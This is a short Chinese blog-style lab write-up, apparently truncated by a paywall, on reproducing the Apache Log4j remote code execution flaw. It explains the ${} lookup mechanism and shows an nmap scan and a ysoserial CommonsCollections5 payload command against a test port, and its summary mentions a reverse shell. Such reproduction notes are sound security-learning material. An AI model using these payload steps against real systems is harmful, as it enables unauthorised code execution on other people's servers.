一、介绍
Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。
二、漏洞原理
Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。
三、复现
环境搭建
查看容器运行状态
用nmap扫描指定端口

可以看到4721端口开放,然后使用ysoserial生成payload发送给4721端口
payload:
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/success"

本文介绍了Apache Log4j日志库的安全漏洞,详细阐述了漏洞原理,即当日志包含${}表达式时,可能导致远程代码执行。接着,文章通过环境搭建和步骤演示了如何复现此漏洞,包括利用 ysoserial 生成payload,利用开放端口进行攻击,以及在Apache Solr中验证漏洞。最后,提到了通过JNDI注入工具发送payload并监听反弹shell的情况。
最低0.47元/天 解锁文章
3513

被折叠的 条评论
为什么被折叠?



